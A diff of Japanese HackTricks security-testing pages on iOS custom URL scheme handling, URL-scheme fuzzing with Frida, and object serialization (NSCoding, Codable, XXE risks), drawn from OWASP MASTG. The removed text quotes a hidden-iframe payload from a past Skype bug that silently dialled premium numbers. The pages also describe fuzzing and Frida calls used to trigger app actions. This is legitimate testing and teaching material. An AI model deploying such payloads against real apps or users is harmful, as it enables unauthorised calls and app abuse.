* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
```

View file

@ -1,66 +1,38 @@
```markdown
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
</details>
これは関連情報からの要約です [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
カスタムURLスキームは[アプリ間でカスタムプロトコルを介して通信することを可能にします](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)。アプリはスキームをサポートすることを宣言し、それらのスキームを使用する受信URLを処理する必要があります。
## 基本情報
> URLスキームはアプリへの潜在的な攻撃経路を提供するため、**すべてのURLパラメータを検証**し、**形式が不正なURLを破棄**することを確認してください。さらに、利用可能な**アクション**をユーザーのデータに**リスクをもたらさない**ものに限定してください
カスタムURLスキームを使用すると、アプリはカスタムプロトコルを使用して通信できます。これについては [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1) で詳しく説明されています。これらのスキームはアプリによって宣言され、その後、これらのスキームに従って受信URLを処理します。このベクトルを介した攻撃を防ぐために、**すべてのURLパラメータを検証**し、**不正なURLを破棄**することが重要です
えば、URI: `myapp://hostname?data=123876123` は、スキーム `mydata` を**登録**している**アプリケーション** mydata を**起動**し、**ホスト名** `hostname` に関連する**アクション**を実行し、値 `123876123` を持つ**パラメータ** `data` を送信します。
として、URI `myapp://hostname?data=123876123` が特定のアプリケーションアクションを呼び出すとします。注目すべき脆弱性は、Skypeモバイルアプリで、`skype://` プロトコルを介して許可されていない通話アクションを許可していたことです。登録されたスキームは、アプリの `Info.plist``CFBundleURLTypes` の下に見つけることができます。悪意のあるアプリケーションは、URIを再登録して機密情報を傍受することができます。
脆弱性のある例の一つは、2010年に発見された[Skype Mobileアプリのこのバグ](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html)ですSkypeアプリは`skype://`プロトコルハンドラを登録しており、**他のアプリがSkypeユーザーや電話番号への呼び出しをトリガーすることを可能にしました**。残念ながら、Skypeは呼び出しを行う前にユーザーの許可を求めなかったため、任意のアプリがユーザーの知らない間に任意の番号に電話をかけることができました。攻撃者は、透明な`<iframe src="skype://xxx?call"></iframe>``xxx`はプレミアム番号に置き換えられるを使用してこの脆弱性を悪用し、悪意のあるウェブサイトを誤って訪れたSkypeユーザーがプレミアム番号に電話をかけることになりました。
### アプリケーションクエリスキームの登録
アプリケーションによって**登録されたスキーム**は、アプリの**`Info.plist`**ファイル内の**`CFBundleURLTypes`**を検索することで見つけることができます([iGoat-Swift](https://github.com/OWASP/iGoat-Swift)からの例):
```
```markup
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLName</key>
<string>com.iGoat.myCompany</string>
<key>CFBundleURLSchemes</key>
<array>
<string>iGoat</string>
</array>
</dict>
</array>
```
ただし、**悪意のあるアプリケーションが既に登録されているURIを再登録する**可能性があることに注意してください。したがって、**機密情報をURI経由で送信している場合**myapp://hostname?password=123456、**悪意のある**アプリケーションが**機密**な**情報**を含むURIを**傍受**する可能性があります。
また、これらのURIの入力は、SQLインジェクション、XSS、CSRF、パストラバーサル、またはその他の潜在的な脆弱性を悪用しようとする**悪意のある** **起源**から来る可能性があるため、**チェックして無害化する必要があります**
## アプリケーションクエリスキームの登録
アプリは[`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc)を呼び出して、**ターゲットアプリが利用可能であるか**を確認できます。しかし、このメソッドが悪意のあるアプリによって**インストールされているアプリを列挙する方法として使用されていたため**、[iOS 9.0からは、それに渡されるURLスキームも宣言されなければなりません](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion)。これは、アプリの`Info.plist`ファイルに`LSApplicationQueriesSchemes`キーを追加し、**最大50のURLスキーム**の配列を指定することで行います。
```markup
iOS 9.0 以降、アプリが利用可能かどうかを確認するには、`canOpenURL:` によって `Info.plist``LSApplicationQueriesSchemes` の下にURLスキームを宣言する必要があります。これにより、アプリの列挙を防ぐことでプライバシーが向上し、アプリがクエリできるスキームが50に制限されます。
```xml
<key>LSApplicationQueriesSchemes</key>
<array>
<string>url_scheme1</string>
<string>url_scheme2</string>
</array>
```
`canOpenURL`は、適切なアプリがインストールされているかどうかに関わらず、宣言されていないスキームに対しては常に`NO`を返します。ただし、この制限は`canOpenURL`にのみ適用されます。
### URLハンドリングとバリデーションのテスト
## URLハンドリングとバリデーションのテスト
URLパスがどのように構築され、検証されるかを判断するために、元のソースコードを持っている場合、**以下のメソッドを検索してください**
* `application:didFinishLaunchingWithOptions:`メソッドまたは`application:will-FinishLaunchingWithOptions:`URLに関する情報がどのように決定され、取得されるかを確認します。
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc):リソースがどのように開かれるか、つまりデータがどのように解析されるかを確認し、特に呼び出しアプリ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)によるアクセスが許可されるべきか否かを検証します。カスタムURLスキームを使用する際には、アプリがユーザーの許可も必要とする場合があります。
Telegramでは、[4つの異なるメソッドが使用されていることがわかります](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250)
開発者は、`application:didFinishLaunchingWithOptions:`や`application:openURL:options:`などの特定のメソッドを検査して、URLパスの構築とバリデーションを理解すべきです。例えば、Telegramは、さまざまなメソッドを使用してURLを開くようです。
```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url)
@ -84,90 +56,17 @@ self.openUrl(url: url)
return true
}
```
## 他のアプリへのURLリクエストのテスト
### 他のアプリケーションへのURLリクエストのテスト
[`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc)メソッドと[非推奨の`UIApplication`の`openURL:`メソッド](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)は、**URLを開く**(つまり、他のアプリへのリクエストを送信/クエリを行う)責任があります。これは現在のアプリにローカルなものか、または別のアプリによって提供されなければならないものかもしれません。元のソースコードを持っている場合は、これらのメソッドの使用箇所を直接検索できます。
`openURL:options:completionHandler:`のようなメソッドは、他のアプリとやり取りするためのURLを開くために重要です。アプリのソースコードでこのようなメソッドの使用を特定することは、外部通信を理解するための鍵となります。
さらに、アプリが特定のサービスやアプリをクエリしているか、そしてアプリがよく知られているかを知りたい場合は、一般的なURLスキームをオンラインで検索し、それらを**greps**[**iOSアプリスキームのリスト**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)****に含めることもできます。
```bash
egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/
egrep -nr "openURL\(" ./Telegram-iOS/
egrep -nr "mt-encrypted-file://" ./Telegram-iOS/
egrep -nr "://" ./Telegram-iOS/
```
## 廃止されたメソッドのテスト
### 廃止されたメソッドのテスト
以下のような廃止されたメソッドを検索します:
`application:handleOpenURL:`や`openURL:`などのURLを開くための廃止されたメソッドの処理は、セキュリティ上の影響を確認するために特定およびレビューする必要があります。
* [`application:handleOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622964-application?language=objc)
* [`openURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)
* [`application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application)
### URLスキームのFuzzing
例えば、ここにそれらの三つが見つかります:
```bash
$ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
0x1000d9e90 31 30 UIApplicationOpenURLOptionsKey
0x1000dee3f 50 49 application:openURL:sourceApplication:annotation:
0x1000dee71 29 28 application:openURL:options:
0x1000dee8e 27 26 application:handleOpenURL:
0x1000df2c9 9 8 openURL:
0x1000df766 12 11 canOpenURL:
0x1000df772 35 34 openURL:options:completionHandler:
...
```
## 任意のURLの呼び出し
* **Safari**: URLスキームを素早くテストするには、SafariでURLを開いてアプリの挙動を観察します。例えば、`tel://123456789`と書くと、Safariはその番号に発信しようとします。
* **Notes App**: カスタムURLスキームをテストするために、書いたリンクを長押しします。リンクを開くためには編集モードを終了している必要があります。アプリがインストールされていない場合はリンクがクリック可能なリンクとしてハイライトされないことに注意してください。
* [**IDB**](https://github.com/facebook/idb):
* IDBを起動し、デバイスに接続してターゲットアプリを選択します。詳細は[IDBのドキュメント](https://www.idbtool.com/documentation/setup.html)を参照してください。
* **URLハンドラー**セクションに移動します。**URLスキーム**で**更新**をクリックし、左側にテスト中のアプリで定義されているすべてのカスタムスキームのリストが表示されます。右側の**開く**をクリックすることでこれらのスキームをロードできます。単に空のURIスキームを開く`myURLscheme://`を開く)ことで、隠された機能(例:デバッグウィンドウ)を発見したり、ローカル認証をバイパスすることができます。
* **Frida**:
単にURLスキームを開きたい場合は、Fridaを使用して行うことができます
```javascript
$ frida -U iGoat-Swift
[iPhone::iGoat-Swift]-> function openURL(url) {
var UIApplication = ObjC.classes.UIApplication.sharedApplication();
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
return UIApplication.openURL_(toOpen);
}
[iPhone::iGoat-Swift]-> openURL("tel://234234234")
true
```
この例では、[Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/)の著者が非公開API `LSApplicationWorkspace.openSensitiveURL:withOptions:` を使用してURLを開いていますSpringBoardアプリから
```javascript
function openURL(url) {
var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace();
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
return w.openSensitiveURL_withOptions_(toOpen, null);
}
```
> 非公開APIの使用はApp Storeでは許可されていないため、これらをテストすることはありませんが、動的分析のために使用することは許可されています。
## URLスキームのファジング
アプリがURLの一部を解析する場合、入力ファジングを実行してメモリ破損バグを検出することもできます。
上で学んだことを活用して、選んだ言語で独自のファジャーを構築し、[FridaのRPC](https://www.frida.re/docs/javascript-api/#rpc)を使用して`openURL`を呼び出すことができます。そのファジャーは以下のことを行うべきです:
* ペイロードを生成する。
* それらの各ペイロードに対して`openURL`を呼び出す。
* アプリがクラッシュレポート(`.ips`)を`/private/var/mobile/Library/Logs/CrashReporter`に生成するかどうかをチェックする。
[FuzzDB](https://github.com/fuzzdb-project/fuzzdb)プロジェクトは、ペイロードとして使用できるファジング辞書を提供しています。
## **Fridaを使用したファジング**
Fridaを使用すると非常に簡単で、iOS 11.1.2で動作するiGoat-Swiftアプリをファジングする例を見るために、この[ブログ投稿](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html)を参照できます。
ファジャーを実行する前に、入力としてURLスキームが必要です。静的分析から、iGoat-Swiftアプリが以下のURLスキームとパラメータをサポートしていることがわかります`iGoat://?contactNumber={0}&message={0}`。
URLスキームのFuzzingはメモリ破壊のバグを特定することができます。[Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/)のようなツールは、異なるペイロードを持つURLを開いてクラッシュを監視することで、このプロセスを自動化することができます。これは、iGoat-SwiftアプリでのURLの操作によって示されています。
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
@ -175,22 +74,17 @@ Watching for crashes from iGoat...
No logs were moved.
Opened URL: iGoat://?contactNumber=0&message=0
```
# 参考文献
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
## 参考文献
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。

View file

@ -1,151 +1,83 @@
```markdown
### NSCodingとNSSecureCoding
<details>
iOSには、Objective-Cまたは`NSObject`のオブジェクト**シリアライゼーション**用の2つのプロトコルがあります**`NSCoding`**と**`NSSecureCoding`**です。**クラスがこれらのプロトコルのいずれかに準拠している場合**、データは**`NSData`**にシリアライズされます:**バイトバッファー**のラッパーです。Swiftの`Data`は`NSData`またはその可変対応の`NSMutableData`と同じです。`NSCoding`プロトコルは、そのインスタンス変数をエンコード/デコードするために実装されなければならない2つのメソッドを宣言します。**`NSCoding`を使用するクラスは`NSObject`を実装するか、@objcクラスとして注釈を付ける必要があります**。`NSCoding`プロトコルは、以下に示すようにエンコードとinitを実装することを要求します。
```
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)。
- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
コードと詳細情報は[https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)で確認できます。
## iOS開発におけるオブジェクトシリアライゼーション
iOSにおいて、**オブジェクトシリアライゼーション**とは、オブジェクトを簡単に保存または送信できる形式に変換し、必要に応じてこの形式から再構築することを指します。**`NSCoding`**と**`NSSecureCoding`**という2つの主要なプロトコルが、Objective-Cまたは`NSObject`のサブクラスに対して、オブジェクトを**`NSData`**にシリアライズするプロセスを容易にします。
### **`NSCoding`**の実装
`NSCoding`を実装するには、クラスは`NSObject`を継承するか、`@objc`とマークされている必要があります。このプロトコルは、エンコードとデコードのための2つのメソッドの実装を要求します。
```swift
class CustomPoint: NSObject, NSCoding {
var x: Double = 0.0
var name: String = ""
//required by NSCoding:
func encode(with aCoder: NSCoder) {
aCoder.encode(x, forKey: "x")
aCoder.encode(name, forKey: "name")
}
var x: Double = 0.0
var name: String = ""
init(x: Double, name: String) {
self.x = x
self.name = name
}
// required by NSCoding: initialize members using a decoder.
required convenience init?(coder aDecoder: NSCoder) {
guard let name = aDecoder.decodeObject(forKey: "name") as? String
else {return nil}
self.init(x:aDecoder.decodeDouble(forKey:"x"),
name:name)
guard let name = aDecoder.decodeObject(forKey: "name") as? String else { return nil }
self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
}
//getters/setters/etc.
}
```
`NSCoding`の問題点は、クラスタイプを評価する前に、オブジェクトが**構築されて挿入されてしまうことが多い**ということです。これにより、攻撃者が**様々なデータを容易に注入することができます**。そのため、**`NSSecureCoding`** プロトコルが導入されました。[`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding)に準拠する場合、以下を含める必要があります:
### **`NSSecureCoding`を使用したセキュリティの強化**
攻撃者がすでに構築されたオブジェクトにデータを注入する脆弱性を緩和するために、**`NSSecureCoding`**は強化されたプロトコルを提供します。`NSSecureCoding`に準拠するクラスは、デコード中にオブジェクトのタイプを検証する必要があり、想定されているオブジェクトタイプのみがインスタンス化されることを保証します。ただし、`NSSecureCoding`はタイプセーフティを強化しますが、データを暗号化したり、その整合性を確保したりはしないため、機密情報を保護するために追加の対策が必要であることに注意することが重要です。
```swift
static var supportsSecureCoding: Bool {
return true
}
```
```markdown
`init(coder:)`がクラスの一部である場合。次に、オブジェクトをデコードする際には、例えば以下のようなチェックを行うべきです:
```
```swift
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
```
`NSSecureCoding`の遵守は、インスタンス化されるオブジェクトが期待されたものであることを保証します。しかし、データに対して**追加の整合性チェックは行われず**、データは暗号化されていません。したがって、秘密データには追加の**暗号化**が必要であり、整合性を保護する必要があるデータには追加のHMACが必要です。
### NSKeyedArchiverを使用したオブジェクトのアーカイブ
`NSKeyedArchiver`は`NSCoder`の具象サブクラスであり、オブジェクトをエンコードしてファイルに保存する方法を提供します。`NSKeyedUnarchiver`はデータをデコードし、元のデータを再作成します。`NSCoding`セクションの例を取り上げ、今度はそれらをアーカイブしてアンアーカイブしてみましょう:
## `NSKeyedArchiver`を使用したデータアーカイブ
`NSKeyedArchiver`とその対応物である`NSKeyedUnarchiver`は、オブジェクトをファイルにエンコードして後で取得する機能を可能にします。このメカニズムはオブジェクトを永続化するのに役立ちます。
```swift
// archiving:
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
// unarchiving:
guard let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as?
CustomPoint else { return nil }
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
```
情報をプライマリplistの`NSUserDefaults`にも保存できます:
```swift
// archiving:
let data = NSKeyedArchiver.archivedDataWithRootObject(customPoint)
NSUserDefaults.standardUserDefaults().setObject(data, forKey: "customPoint")
// unarchiving:
if let data = NSUserDefaults.standardUserDefaults().objectForKey("customPoint") as? NSData {
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
}
```
### Codable
これは`Decodable`と`Encodable`プロトコルの組み合わせです。`String`、`Int`、`Double`、`Date`、`Data`、`URL`は本質的に`Codable`です:つまり、追加の作業なしで簡単にエンコードおよびデコードできるという意味です。次の例を見てみましょう:
### `Codable`を使用したシンプルなシリアル化
Swiftの`Codable`プロトコルは、`String`、`Int`、`Double`などのオブジェクトのエンコードとデコードを容易にする`Decodable`と`Encodable`を組み合わせたものです。
```swift
struct CustomPointStruct: Codable {
var x: Double
var name: String
}
```
例の`CustomPointStruct`の継承リストに`Codable`を追加することで、`init(from:)`と`encode(to:)`メソッドが自動的にサポートされます。`Codable`の動作の詳細については、[Apple Developer Documentation](https://developer.apple.com/documentation/foundation/archives_and_serialization/encoding_and_decoding_custom_types)を確認してください
このアプローチは、プロパティリストやJSONへの直感的なシリアル化をサポートし、Swiftアプリケーションにおけるデータ処理を向上させます。
また、`NSUserDefaults`のプライマリプロパティリストにデータを保存するためにcodableを使用することもできます
```swift
struct CustomPointStruct: Codable {
var point: Double
var name: String
}
## JSONおよびXMLエンコーディングの代替手法
ネイティブサポートに加えて、いくつかのサードパーティライブラリがJSONおよびXMLのエンコーディング/デコーディング機能を提供しており、それぞれ独自のパフォーマンス特性とセキュリティ上の考慮事項を持っています。特に外部エンティティ処理を防ぐためにパーサを構成してXXEXML External Entities攻撃などの脆弱性を緩和するために、これらのライブラリを注意して選択することが重要です。
var points: [CustomPointStruct] = [
CustomPointStruct(point: 1, name: "test"),
CustomPointStruct(point: 2, name: "test"),
CustomPointStruct(point: 3, name: "test"),
]
UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points")
if let data = UserDefaults.standard.value(forKey: "points") as? Data {
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
}
```
### JSON エンコーディング
JSON形式でデータをエンコードするための多くのサードパーティライブラリがあります[こちら](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)で説明されています。しかし、Appleは`Codable`を`JSONEncoder`および`JSONDecoder`と組み合わせることで、直接JSONエンコーディング/デコーディングのサポートを提供しています:
```swift
struct CustomPointStruct: Codable {
var point: Double
var name: String
}
let encoder = JSONEncoder()
encoder.outputFormatting = .prettyPrinted
let test = CustomPointStruct(point: 10, name: "test")
let data = try encoder.encode(test)
let stringData = String(data: data, encoding: .utf8)
// stringData = Optional ({
// "point" : 10,
// "name" : "test"
// })
```
### XML
XMLエンコーディングには複数の方法があります。JSONパースと同様に、様々なサードパーティライブラリが存在します。例えば: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
これらは速度、メモリ使用量、オブジェクトの永続性などの点で異なり、より重要なのはXML外部エンティティの扱い方が異なることです。例として[XXE in the Apple iOS Office viewer](https://nvd.nist.gov/vuln/detail/CVE-2015-3784)を参照してください。したがって、可能であれば外部エンティティの解析を無効にすることが重要です。詳細については、[OWASP XXE prevention cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html)を参照してください。ライブラリの他に、Appleの[`XMLParser`クラス](https://developer.apple.com/documentation/foundation/xmlparser)を利用することもできます。
サードパーティのライブラリを使用せず、Appleの`XMLParser`を使用する場合は、`shouldResolveExternalEntities`が`false`を返すようにしてください。
{% hint style="danger" %}
これらのデータのシリアライズ/エンコーディング方法は**ファイルシステムにデータを保存するために使用される**ことがあります。そのようなシナリオでは、保存されたデータに**機密情報**が含まれていないかを確認してください。\
さらに、場合によっては、シリアライズされたデータを悪用してMitMを介してキャプチャするか、ファイルシステム内で変更することによって、任意のデータの逆シリアライズを行い、**アプリケーションに予期しない動作をさせる**可能性があります([Deserialization page](../../pentesting-web/deserialization/)を参照)。これらの場合、シリアライズされたデータを暗号化して署名して送信/保存することを推奨します。
{% endhint %}
### セキュリティ上の考慮事項
データをシリアル化する際、特にファイルシステムには、機密情報が含まれる可能性について警戒することが重要です。インターセプトされたり適切に処理されなかったりした場合、シリアル化されたデータは、アプリケーションが不正なアクションやデータ漏洩などのリスクにさらされる可能性があります。シリアル化されたデータを暗号化および署名することを推奨します。
## 参考文献
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
</details>
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独自の[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。

View file

@ -2,47 +2,47 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
